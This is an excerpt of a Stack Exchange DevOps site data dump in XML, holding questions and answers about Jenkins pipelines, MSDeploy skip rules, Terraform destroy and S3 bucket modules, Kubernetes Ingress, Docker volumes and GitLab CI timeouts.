reference][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/pipeline/steps/credentials-binding/&#xD;&#xA;  [2]: https://i.stack.imgur.com/IBPW8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34061" PostHistoryTypeId="2" PostId="11123" RevisionGUID="bc73543f-3eb7-4c90-9baa-20304cbc8b8a" CreationDate="2020-03-20T17:38:18.570" UserId="6579" Text="Job chaining is a CI/CD anti-pattern and one of the big drivers behind developing pipelines. If the next step in the equation is to do more work, just make it a stage in the pipeline. If you need separation for whatever reason, make the freestyle job a pipeline job and add a post-&gt;success step.&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/syntax/#post" ContentLicense="CC BY-SA 4.0" />
  <row Id="34062" PostHistoryTypeId="5" PostId="9271" RevisionGUID="b1275fbe-bd63-447c-899d-0cd5932aed21" CreationDate="2020-03-20T18:09:09.920" UserId="4852" Comment="added 1 character in body" Text="I agree with [Omri][1] that you are heading the wrong way. I would recommend using a [shared library][2] which implements the pipeline. You would then have a simple Jenkins file which looks all the same. See https://jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/&#xD;&#xA;&#xD;&#xA;Let's say you have a shared library which contains a `vars/commonpipeline.groovy` which contains something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(body) {&#xD;&#xA;    // evaluate the body block, and collect configuration into the object&#xD;&#xA;    pipelineParams= [:]&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = pipelineParams&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            label pipelineParams.nodes&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(artifactNumToKeepStr: '1', numToKeepStr: '10'))&#xD;&#xA;            disableConcurrentBuilds()&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: pipelineParams.timeout, unit: 'MINUTES')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    //TO SOMETHING&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then you can have a `Jenkinsfile` in your dev project which loads the library and uses the common pipeline like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import org.apache.commons.io.FileUtils&#xD;&#xA;library identifier: 'shared-pipeline-library@master', retriever: modernSCM(&#xD;&#xA;  [$class: 'GitSCMSource',&#xD;&#xA;       remote: 'https://bitbucket/jenkins/hared-pipeline-library.git',&#xD;&#xA;       credentialsId: 'bitbucket.service.user'&#xD;&#xA;  ])&#xD;&#xA;&#xD;&#xA;ciPipelineMaven {&#xD;&#xA;    nodes     = 'DEVOPS' /* label of jenkins nodes*/&#xD;&#xA;    timeout   = '60'&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/17225/omri-spector&#xD;&#xA;  [2]: https://jenkins.io/doc/book/pipeline/shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34066" PostHistoryTypeId="2" PostId="11125" RevisionGUID="9e0ae601-aa43-46ac-a366-c0034b1ef857" CreationDate="2020-03-20T20:26:57.950" UserId="19938" Text="As @yang-shen-msft [notes on Stack Overflow](https://stackoverflow.com/a/60541274/3025856), there doesn't appear to be a way to honor the `MSDeploySkipRules` defined in the `csproj` file. Instead, files and folders can be skipped by defining the _Additional Arguments_ (`AdditionalArguments`) parameter of the _Azure App Service Deploy_ (`AzureRmWebAppDeployment`) task, [as discussed in another Stack Overflow answer](https://stackoverflow.com/a/46961055/3025856).&#xD;&#xA;&#xD;&#xA;Since there doesn't appear to be any official documentation for the `-skip` rules, and [the `MSDeploy.exe` documentation that Azure Pipelines references](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd569089(v=ws.10)?redirectedfrom=MSDN) is out-of-date, the following provides additional details.&#xD;&#xA;&#xD;&#xA;First, it's useful to recognize that when you deploy a project via Visual Studio, it's simply taking the `MSDeploySkipRules` configured in the `csproj` file and adding them to it's internal call of `msdeploy.exe` as `-skip` rules. So, given the following rule defined in the `csproj`:&#xD;&#xA;```csproj&#xD;&#xA;&lt;Project Sdk=&quot;Microsoft.NET.Sdk.Web&quot;&gt;&#xD;&#xA;  …&#xD;&#xA;  &lt;ItemGroup&gt;&#xD;&#xA;    &lt;MsDeploySkipRules Include=&quot;CustomSkipFolder&quot;&gt;&#xD;&#xA;      &lt;ObjectName&gt;dirPath&lt;/ObjectName&gt;&#xD;&#xA;      &lt;AbsolutePath&gt;wwwroot\\Uploads&lt;/AbsolutePath&gt;&#xD;&#xA;    &lt;/MsDeploySkipRules&gt;&#xD;&#xA;  &lt;/ItemGroup&gt;&#xD;&#xA;&lt;/Project&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `-skip` rule is interpreted as:&#xD;&#xA;```cmd&#xD;&#xA;msdeploy.exe -skip:objectName=dirPath,absolutePath=wwwroot\\Uploads&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Translating this to the _Azure App Service Deploy_ (`AzureRmWebAppDeployment`) task, the resulting `yml` might look like:&#xD;&#xA;```yml&#xD;&#xA;- task: AzureRmWebAppDeployment@4&#xD;&#xA;  inputs:&#xD;&#xA;    ConnectionType: 'AzureRM'&#xD;&#xA;    azureSubscription: 'Azure Subscription'&#xD;&#xA;    appType: 'webApp'&#xD;&#xA;    WebAppName: 'MyStagingSite'&#xD;&#xA;    packageForLinux: '$(Build.ArtifactStagingDirectory)/**/*.zip'&#xD;&#xA;    enableCustomDeployment: true&#xD;&#xA;    DeploymentType: 'webDeploy'&#xD;&#xA;    enableXmlTransform: false&#xD;&#xA;    enableXmlVariableSubstitution: true&#xD;&#xA;    RemoveAdditionalFilesFlag: true&#xD;&#xA;    AdditionalArguments: '-skip:objectName=dirPath,absolutePath=wwwroot\\Uploads'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; _Note:_ Multiple `-skip` rules can be defined on the same `msdeploy.exe` call. &#xD;&#xA;&#xD;&#xA;Unfortunately, as mentioned above, there doesn't _appear_ to be any official, first-party documentation for the `-skip` rules on `msdeploy.exe`. The [2014 documentation](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd569089(v=ws.10)?redirectedfrom=MSDN) acknowledges them, and provides two examples, but doesn't expand on the options. That said, way back in 2012, @richard-szalay wrote a useful article, &quot;[Demystifying MSDeploy skip rules](https://blog.richardszalay.com/2012/12/17/demystifying-msdeploy-skip-rules/)&quot;, which provides useful direction here for anyone requiring additional control over their `-skip` rules.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34067" PostHistoryTypeId="10" PostId="11103" RevisionGUID="9b6f7ef1-62d2-411e-bc13-e1dd4735df59" CreationDate="2020-03-20T20:58:55.597" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="34069" PostHistoryTypeId="2" PostId="11126" RevisionGUID="c5384e33-abc1-4259-b1ed-2aecc96a35a7" CreationDate="2020-03-20T22:24:38.287" UserId="7668" Text="This may be what you are doing already (in which case this sounds like a bug), yet it seems just based on the limited information in the question that you may be forgetting a step: Run `plan -destroy -target=... -target=...` first.  The `terraform destroy` command will try to operate on changes listed in the `.plan` file.&#xD;&#xA;&#xD;&#xA;The following example assumes a Terraform module named `foo`, with 3 EBS volumes and attachments named as: `dev-sdb`, `dev-sdf`, `dev-sdg`.  All resources are assumed to have `count = local.enabled ? 1 : 0`.  So this is the more advanced case you may encounter where each resource would have to be targeted with the array syntax `[0]`.&#xD;&#xA;&#xD;&#xA; 1. First create a targeted plan file with `terraform plan -destroy -target=...`. &#xD;&#xA; Do this before trying to run `terraform destroy`&#xD;&#xA;&#xD;&#xA;        terraform plan -destroy \&#xD;&#xA;                       -target=module.foo.aws_volume_attachment.dev-sdb-attachments[0] \&#xD;&#xA;                       -target=module.foo.aws_volume_attachment.dev-sdf-attachments[0] \&#xD;&#xA;                       -target=module.foo.aws_volume_attachment.dev-sdg-attachments[0] \&#xD;&#xA;                       -target=module.foo.aws_instance.foo[0]  \&#xD;&#xA;                       -target=module.foo.aws_iam_instance_profile.foo[0] \&#xD;&#xA;                       -out=intermediate.plan&#xD;&#xA;&#xD;&#xA; 2. Run `terraform destroy`, optionally also using `-target=...` for safety precautions if you wish:&#xD;&#xA;&#xD;&#xA;        terraform destroy -target=module.foo.aws_volume_attachment.dev-sdb-attachments[0] \&#xD;&#xA;                          -target=module.foo.aws_volume_attachment.dev-sdf-attachments[0] \&#xD;&#xA;                          -target=module.foo.aws_volume_attachment.dev-sdg-attachments[0] \&#xD;&#xA;                          -target=module.foo.aws_instance.foo[0]  \&#xD;&#xA;                          -target=module.foo.aws_iam_instance_profile.foo[0] \&#xD;&#xA;                          intermediate.plan&#xD;&#xA;&#xD;&#xA;If you need this to be unattended for automation, add `-auto-approve` flag to the `terraform destroy` command.  Otherwise, it assumes an interactive terminal session and will prompt before destroying any resources." ContentLicense="CC BY-SA 4.0" />
  <row Id="34071" PostHistoryTypeId="2" PostId="11127" RevisionGUID="b2d68be1-acd5-4d26-afe4-2ae1c78850bc" CreationDate="2020-03-21T05:30:12.227" UserId="20251" Text="1.  The service principal you created actually exists in your AAD.  When it expires, then AAD will stop authorizing any token requests that AAD gets for that SP.  So yes, then Azure Devops will start failing auth when it tries to do work.&#xD;&#xA;&#xD;&#xA;2.  The SP exists 100% independently of the user that created it so it will persist if the user that created it is deleted.&#xD;&#xA;&#xD;&#xA;3. I believe when it expires, it will sit in AAD in expired state, you can then manually delete it.&#xD;&#xA;&#xD;&#xA;SP's exist in AAD under the &quot;application registrations&quot; blade.  Another thing to keep note of is that the default creation behavior of a SP is for it to have full RW access to the entire subscription it was created for.  You can disable this at creation with an -- option flag." ContentLicense="CC BY-SA 4.0" />
  <row Id="34075" PostHistoryTypeId="50" PostId="9526" RevisionGUID="a55bd14b-8f69-4f4a-bf57-64a4be4d489c" CreationDate="2020-03-21T17:02:35.317" UserId="-1" />
  <row Id="34076" PostHistoryTypeId="50" PostId="9548" RevisionGUID="0503c9b6-2d50-4d89-a1c4-739231700885" CreationDate="2020-03-21T22:02:10.277" UserId="-1" />
  <row Id="34077" PostHistoryTypeId="2" PostId="11129" RevisionGUID="bdac3800-b0a4-4efe-a91b-6cad96c45d8c" CreationDate="2020-03-22T00:49:15.487" UserId="17980" Text="I already have my S3 bucket called `foo-name` created and existing with terraform. I want to modify the existing s3 bucket and a policy. But when I do this it seems to want to add a new s3 bucket instead. I imagine `s3_website` in `resource &quot;aws_s3_bucket&quot; &quot;s3_bucket&quot;` is incorrect. But I don't know what I would use in place of that because of the way the S3 bucket was corrected. &#xD;&#xA;&#xD;&#xA;How do I get it to modify my existing S3 bucket that was created in `module s3_website {}`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      alias = &quot;east1&quot;&#xD;&#xA;      region = &quot;us-east-1&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module &quot;acm_cert&quot; {&#xD;&#xA;      source = &quot;foo-git&quot;&#xD;&#xA;    &#xD;&#xA;      cluster = var.cluster&#xD;&#xA;    &#xD;&#xA;      domain      = var.website_domain&#xD;&#xA;      dns_zone    = var.zone_name&#xD;&#xA;    &#xD;&#xA;      tags       = var.tags&#xD;&#xA;      extra_tags = var.extra_tags&#xD;&#xA;    &#xD;&#xA;       providers = {&#xD;&#xA;        aws = aws.east1&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    module s3_website {&#xD;&#xA;      source = &quot;foo-git&quot;&#xD;&#xA;    &#xD;&#xA;      cluster        = var.cluster&#xD;&#xA;      env            = var.tags.Environment&#xD;&#xA;      app            = var.tags.Application&#xD;&#xA;      website_domain = var.website_domain&#xD;&#xA;      s3_prefix      = var.s3_prefix&#xD;&#xA;    &#xD;&#xA;      certificate_arn = module.acm_cert.certificate_arn&#xD;&#xA;      error_document = &quot;index.html&quot;&#xD;&#xA;      index_document = &quot;index.html&quot;&#xD;&#xA;    &#xD;&#xA;      custom_error_response = [&#xD;&#xA;        {&#xD;&#xA;            &quot;error_code&quot;         = 404&#xD;&#xA;            &quot;response_code&quot;      = 200&#xD;&#xA;            &quot;response_page_path&quot; = &quot;/index.html&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;error_code&quot;         = 403&#xD;&#xA;            &quot;response_code&quot;      = 200&#xD;&#xA;            &quot;response_page_path&quot; = &quot;/index.html&quot;&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;    &#xD;&#xA;      tags = var.tags&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_route53_zone&quot; &quot;base&quot; {&#xD;&#xA;      name = var.zone_name&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_route53_record&quot; &quot;this&quot; {&#xD;&#xA;      zone_id = data.aws_route53_zone.base.zone_id&#xD;&#xA;      name    = var.website_domain&#xD;&#xA;      type    = &quot;A&quot;&#xD;&#xA;    &#xD;&#xA;      alias {&#xD;&#xA;        name                   = module.s3_website.domain_name&#xD;&#xA;        zone_id                = module.s3_website.zone_id&#xD;&#xA;        evaluate_target_health = false&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_s3_bucket&quot; &quot;s3_website&quot; {&#xD;&#xA;      bucket = &quot;foo-name&quot;&#xD;&#xA;      policy = &lt;&lt;POLICY&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Sid&quot;: &quot;PublicReadGetObject&quot;,&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Principal&quot;: &quot;*&quot;,&#xD;&#xA;          &quot;Action&quot;: &quot;s3:GETObject&quot;,&#xD;&#xA;          &quot;Resource&quot;: &quot;arn:aws:s3:::foo-name/*&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    POLICY&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34078" PostHistoryTypeId="1" PostId="11129" RevisionGUID="bdac3800-b0a4-4efe-a91b-6cad96c45d8c" CreationDate="2020-03-22T00:49:15.487" UserId="17980" Text="Terraform - how to modify a existing S3 bucket that was created from module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34079" PostHistoryTypeId="3" PostId="11129" RevisionGUID="bdac3800-b0a4-4efe-a91b-6cad96c45d8c" CreationDate="2020-03-22T00:49:15.487" UserId="17980" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34080" PostHistoryTypeId="50" PostId="9554" RevisionGUID="dbec814b-9827-4c94-afb6-4bda22c40bb2" CreationDate="2020-03-22T08:02:30.357" UserId="-1" />
  <row Id="34082" PostHistoryTypeId="2" PostId="11130" RevisionGUID="67658380-d30f-4bcb-bc02-a4efdfee2342" CreationDate="2020-03-22T13:45:53.290" UserId="20300" Text="I have a job that creates a container from Jenkins image. I would like to add to the script one more option:&#xD;&#xA;Currently, it's installing the image with DSL plugin version 1.77. is there a command I can run from CLI to downgrade the plugin version to 1.57?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34083" PostHistoryTypeId="1" PostId="11130" RevisionGUID="67658380-d30f-4bcb-bc02-a4efdfee2342" CreationDate="2020-03-22T13:45:53.290" UserId="20300" Text="Is it possible to downgrade Jenkins container plugin thought CLI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34084" PostHistoryTypeId="3" PostId="11130" RevisionGUID="67658380-d30f-4bcb-bc02-a4efdfee2342" CreationDate="2020-03-22T13:45:53.290" UserId="20300" Text="&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34085" PostHistoryTypeId="2" PostId="11131" RevisionGUID="9b02b8f3-dadd-4363-91ef-2c7acbd08e7a" CreationDate="2020-03-22T16:46:06.263" UserId="3328" Text="Check out [Config as Code][1] for installing plugins.&#xD;&#xA;&#xD;&#xA;If you're using the jenkins image, just use an older version of the image that has the proper plugin version&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="34086" PostHistoryTypeId="2" PostId="11132" RevisionGUID="7baf3238-8368-480e-9d99-c21149a9abc4" CreationDate="2020-03-22T16:49:09.927" UserId="3328" Text="You'll have to modify the underlying module to make changes here. &#xD;&#xA;&#xD;&#xA;Be sure you're aware of the impact this will have on other modules using your `s3_website` module. You might want to start using [module source versioning][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/modules/sources.html#selecting-a-revision" ContentLicense="CC BY-SA 4.0" />
  <row Id="34087" PostHistoryTypeId="2" PostId="11133" RevisionGUID="448ac27f-e328-4716-bfd0-7e96b54d2ad4" CreationDate="2020-03-22T16:52:42.080" UserId="3328" Text="More often than not you should not be using NodePort.&#xD;&#xA;&#xD;&#xA;You're in AWS so you can consume the [AWS Cloud Provider][1]. Try using `ingress` resources or `LoadBalancer` service types. NLBs can do TCP/UDP port passthrough if that's what you need.&#xD;&#xA;&#xD;&#xA;**Edit:** After further review, it looks like your just exposing a web server (I noted port `8080`). `NodePort` is 100% not what you want. Look at [Ingress][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/cluster-administration/cloud-providers/#aws&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/ingress/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34088" PostHistoryTypeId="2" PostId="11134" RevisionGUID="58bb48ae-d07c-4ccb-abe3-8294e2759612" CreationDate="2020-03-22T20:28:54.463" UserId="20320" Text="I wish to create a volume and mount it to a docker container in order to collect some artifacts, and I want to reuse these artifacts into another docker container later on. Can i just mount the same volume to the new container and upload the artifacts? Is there an upload command for this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34089" PostHistoryTypeId="1" PostId="11134" RevisionGUID="58bb48ae-d07c-4ccb-abe3-8294e2759612" CreationDate="2020-03-22T20:28:54.463" UserId="20320" Text="Upload data into docker container from docker volume" ContentLicense="CC BY-SA 4.0" />
  <row Id="34090" PostHistoryTypeId="3" PostId="11134" RevisionGUID="58bb48ae-d07c-4ccb-abe3-8294e2759612" CreationDate="2020-03-22T20:28:54.463" UserId="20320" Text="&lt;docker&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34100" PostHistoryTypeId="2" PostId="11138" RevisionGUID="8de0f16e-1e6c-46eb-9b14-b9b1c5192abb" CreationDate="2020-03-23T02:12:41.883" UserId="20323" Text="here's my part of my code that I am having issues with. Unfortunately I could not understand the relationship between the last answer, despite being almost what I need, and my situation.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_internet_gateway&quot; &quot;zyz_igw&quot; {&#xD;&#xA;  depends_on = [aws_internet_gateway.this]&#xD;&#xA;&#xD;&#xA;    filter {&#xD;&#xA;    name   = &quot;attachment.vpc-id&quot;&#xD;&#xA;    values = aws_vpc.this[count.index]&#xD;&#xA;    #values = [aws_vpc.this[count.index]]   #based on https://www.terraform.io/docs/providers/oci/guides/filters.html&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  filter {&#xD;&#xA;    name   = &quot;tag:Name&quot;&#xD;&#xA;    values = [&quot;ZYZ_Mirror_ZYZ-tp-zyz-IGW&quot;]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The error I am getting is the following:&#xD;&#xA;```&#xD;&#xA;Error: Reference to &quot;count&quot; in non-counted context&#xD;&#xA;&#xD;&#xA;  on modules/xyz/main.tf line 292, in data &quot;aws_internet_gateway&quot; &quot;zyz_igw&quot;:&#xD;&#xA; 292:     values = aws_vpc.this[count.index]&#xD;&#xA;&#xD;&#xA;The &quot;count&quot; object can be used only in &quot;resource&quot; and &quot;data&quot; blocks, and only&#xD;&#xA;when the &quot;count&quot; argument is set.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get confused since I believe my issue may be with the resource and not sure how to change the data. I also saw something related to 'for_each' to use that instead of 'count' on 0.12. But the in the very beginning of my code I have the normal 'aws_vpc' resource:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;this&quot; {&#xD;&#xA;  count = var.zyz_create_vpc ? 1 : 0&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34101" PostHistoryTypeId="1" PostId="11138" RevisionGUID="8de0f16e-1e6c-46eb-9b14-b9b1c5192abb" CreationDate="2020-03-23T02:12:41.883" UserId="20323" Text="Terraform error Reference to “count” in non-counted context for resources not necessarily data" ContentLicense="CC BY-SA 4.0" />
  <row Id="34102" PostHistoryTypeId="3" PostId="11138" RevisionGUID="8de0f16e-1e6c-46eb-9b14-b9b1c5192abb" CreationDate="2020-03-23T02:12:41.883" UserId="20323" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;data&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34103" PostHistoryTypeId="2" PostId="11139" RevisionGUID="28ddf0e2-16b7-4527-aa38-36fe472efb6c" CreationDate="2020-03-23T02:36:52.140" UserId="20324" Text="Yes, Step Functions seems like a good fit for your use case. &#xD;&#xA;&#xD;&#xA;Step Functions standard workflows guarantees exactly-once execution and provides a step-by-step history of your workflows, hence making it easy to debug and giving you the visibility that you are looking for. You can additionally use retry/catch functionality and SNS service integration.&#xD;&#xA;&#xD;&#xA;You can use EventBridge to trigger Step Functions from S3. &#xD;&#xA;&#xD;&#xA;Resources:&#xD;&#xA;https://docs.aws.amazon.com/eventbridge/latest/userguide/eventbridge-tutorial-ecs.html (change target to Step Functions instead of ECS)&#xD;&#xA;https://docs.aws.amazon.com/step-functions/latest/dg/concepts-error-handling.html&#xD;&#xA;https://docs.aws.amazon.com/step-functions/latest/dg/connect-sns.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I work for AWS but all opinions are my own." ContentLicense="CC BY-SA 4.0" />
  <row Id="34104" PostHistoryTypeId="2" PostId="11140" RevisionGUID="7516b701-8d45-49ca-a51f-bc3de4040799" CreationDate="2020-03-23T03:08:26.227" UserId="3328" Text="looks like your new to stack exchange. You need to form a clearer question to get a good answer.... &#xD;&#xA;&#xD;&#xA;As far as your error goes.... `count` is a reserved name. It's only accessible when the block you're writing has a `count` set! &#xD;&#xA;&#xD;&#xA;You have You just need to specify the `count` of `aws_internet_gateway` data resources you're trying to get. Your code implies there is more than one.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_internet_gateway&quot; &quot;zyz_igw&quot; {&#xD;&#xA;   count = 1000000000&#xD;&#xA;   ...&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34108" PostHistoryTypeId="2" PostId="11142" RevisionGUID="8e988d7f-bf7e-447a-a63a-a06921141a87" CreationDate="2020-03-23T15:12:10.253" UserId="20260" Text="I want to enable anonymous authentication using `kops`, but it's default settings provides the `--anonymous-auth=false` options to `kube-apiserver`:&#xD;&#xA;&#xD;&#xA;    /usr/local/bin/kube-apiserver --allow-privileged=true --anonymous-auth=false --apiserver-count=1 --authorization-mode=RBAC --basic-auth-file=/srv/kubernetes/basic_auth.csv --bind-address=0.0.0.0 --client-ca-file=/srv/kubernetes/ca.crt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I change this setting, either for my current cluster or by creating a new cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34109" PostHistoryTypeId="1" PostId="11142" RevisionGUID="8e988d7f-bf7e-447a-a63a-a06921141a87" CreationDate="2020-03-23T15:12:10.253" UserId="20260" Text="How to enable anonymous authentication for kube-apiserver using kops on AWS C2?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34110" PostHistoryTypeId="3" PostId="11142" RevisionGUID="8e988d7f-bf7e-447a-a63a-a06921141a87" CreationDate="2020-03-23T15:12:10.253" UserId="20260" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;cloud&gt;&lt;kops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34111" PostHistoryTypeId="50" PostId="10486" RevisionGUID="53bd959d-8af1-4ced-9afd-3ac661b2c517" CreationDate="2020-03-23T17:02:05.263" UserId="-1" />
  <row Id="34113" PostHistoryTypeId="2" PostId="11143" RevisionGUID="6697eab0-8626-4f02-bdfb-8326277630bf" CreationDate="2020-03-23T19:44:25.697" UserId="20332" Text="My pipeline consists of very long jobs that build docker images by compiling a set of packages; all of them require ~ 3 hours on my runner. I set up my CI so that only one job can run at a time, in order to reduce the disk I/O overhead. But in this way many jobs fail, supposedly because they hit a job start timeout which seems to be bout 1h, with this message:&#xD;&#xA;&#xD;&#xA;&gt; There has been a timeout failure or the job got stuck. Check your timeout limits or try again&#xD;&#xA;&#xD;&#xA;I have not been able to find how to increase the job start timeout, since all the documentation I found is relative to the job duration timeout. So I’d need help with this, thanks. I'm using GitLab Community Edition 12.8.1 and Gitlab Runner 11.5.1." ContentLicense="CC BY-SA 4.0" />
  <row Id="34114" PostHistoryTypeId="1" PostId="11143" RevisionGUID="6697eab0-8626-4f02-bdfb-8326277630bf" CreationDate="2020-03-23T19:44:25.697" UserId="20332" Text="Set job start timeout in Gitlab CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="34115" PostHistoryTypeId="3" PostId="11143" RevisionGUID="6697eab0-8626-4f02-bdfb-8326277630bf" CreationDate="2020-03-23T19:44:25.697" UserId="20332" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34116" PostHistoryTypeId="2" PostId="11144" RevisionGUID="6553ea38-44a7-4429-97d3-ba66faa9da4c" CreationDate="2020-03-23T21:22:30.377" UserId="20101" Text="If you already have your S3 bucket recognized by Terraform and it was created by the code you pasted, you schould not be having any diffculties if the operation could be done in place. &#xD;&#xA;&#xD;&#xA;There are a few important MUST KNOW things about how TF handle resources. MUST KNOW because in the end of the day it's infrastructure :) Some of the parameters are immutable, although it might not seem that intuitive changing the resource identifier would trigger delete/create scenario.&#xD;&#xA;&#xD;&#xA;Could you paste your TF plan output ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="34122" PostHistoryTypeId="2" PostId="11146" RevisionGUID="6d66a075-a6b3-4a69-ad00-a2c633f6fb1f" CreationDate="2020-03-24T07:16:04.943" UserId="20337" Text="&#xD;&#xA;&#xD;&#xA;You can mount a volume e.g. at `/app/artifacts` then set up your application to place the artifacts on that folder. &#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;    -v artifacts-vol:/app/artifacts \&#xD;&#xA;    artifact-creator:latest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;then after that, you can mount the same volume to a separate container and specify on the new container to read the artifacts from the volume location&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;    -v artifacts-vol:/app/artifacts \&#xD;&#xA;    artifact-reader:latest" ContentLicense="CC BY-SA 4.0" />
  <row Id="34123" PostHistoryTypeId="2" PostId="11147" RevisionGUID="597c0423-879a-48c8-bef0-9952dabf5e97" CreationDate="2020-03-24T09:04:00.313" UserId="20042" Text="There are two types of timeouts for `GitLab CI` jobs:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Project timeout&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner timeout&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each Runner you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;Runner timeout settings are defined in runner's edit page" ContentLicense="CC BY-SA 4.0" />
